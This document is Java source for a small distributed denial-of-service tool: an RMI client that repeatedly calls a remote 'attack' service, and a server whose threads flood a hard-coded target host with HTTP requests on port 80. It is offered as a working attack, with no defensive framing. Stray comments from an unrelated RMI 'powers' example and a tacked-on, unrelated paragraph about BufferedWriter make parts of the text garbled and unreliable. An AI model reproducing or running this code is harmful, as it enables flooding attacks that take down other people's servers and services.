CLIENT

import java.rmi.\*;

import java.rmi.Naming;

import java.io.\*;

//

// DDOSServiceClient

//

public class DDOSServiceClient

{

String attack =""; public static void main(String args[]) throws Exception

{

DDOSServiceClient obj = new DDOSServiceClient() ;

while(true){

obj.attack ="";

try{

obj.go();

}

catch(java.rmi.ConnectException rc){

System.out.println("Connection Failure");

}

catch(java.net.ConnectException rc){

System.out.println("Net Failure");

} catch(java.rmi.NotBoundException je){

System.out.println("java.rmi.NotBoundException");

} System.out.println(obj.attack);

}

}

private static void go() throws Exception{

// Call registry for DDOSService

DDOSServiceClient obj = new DDOSServiceClient() ;

Thread.sleep(5000);

//A server IP that need to be replaced with this IP

DDOSService service = (DDOSService) Naming.lookup

("rmi://192.168.55.44/DDOSService");

DataInputStream din = new

DataInputStream (System.in);

//Calling remote Method

obj.attack = service.attack();

}

}

Server

import java.math.\*;

import java.rmi.\*;

import java.rmi.server.\*;

import java.io.BufferedWriter;

import java.io.IOException;

import java.io.OutputStreamWriter;

import java.net.Socket;

import java.net.UnknownHostException;

//

// DDOSServiceServer

//

// Server for a RMI service that calculates powers

//

public class DDOSServiceServer extends UnicastRemoteObject implements Runnable, DDOSService

{ //Target Machine

final String TARGET = "will-pc";

static DDOSServiceServer \_instance;

public DDOSServiceServer () throws RemoteException

{

super();

}

// Calculate the square of a number

public String attack( )

throws RemoteException

{

\_instance = new DDOSServiceServer ();

//2 threads on each machine

for (int i = 0; i < 2; i++)

new Thread(\_instance).start();

String attack;

attack = "Attacking:"+ TARGET ;

return attack;

}

public void run() {

//1000 HTTP Requests using each client you can send more requests too

for (int i = 1; i < 1000; i++) {

try {

Socket net = new Socket(TARGET, 80); // connects the Socket to the TARGET port 80.

sendRawLine("GET / HTTP/1.1", net); // Sends the GET / OutputStream

sendRawLine("Host: " + TARGET, net); // Sends Host: to the OutputStream

System.out.println("Attacking on Target  "+TARGET+" with Connection #: " + i);

} catch (UnknownHostException e) {

System.out.println("DDoS.run: " + e);

} catch (IOException e) {

System.out.println("DDoS.run: " + e);

}

}

}

public static void main ( String args[] ) throws Exception

{

// Assign a security manager, in the event that dynamic

// classes are loaded

// Create an instance of our power service server ...

DDOSServiceServer svr = new DDOSServiceServer();

// ... and bind it with the RMI Registry

Naming.bind ("DDOSService", svr);

System.out.println ("Service bound....");

}

public static void sendRawLine(String text, Socket sock) {

try {

BufferedWriter out = new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));

out.write(text + " ");

out.flush();

} catch (IOException ex) {

ex.printStackTrace();

}

}

}

 The BufferedWriter is a character stream class to handle the character data. Unlike byte stream (convert data into bytes), you can just write the strings, arrays or character data directly to a file. A classic BufferedWriter example to write content to a file, create the file if doesn’t exist, the existing content will be overridden.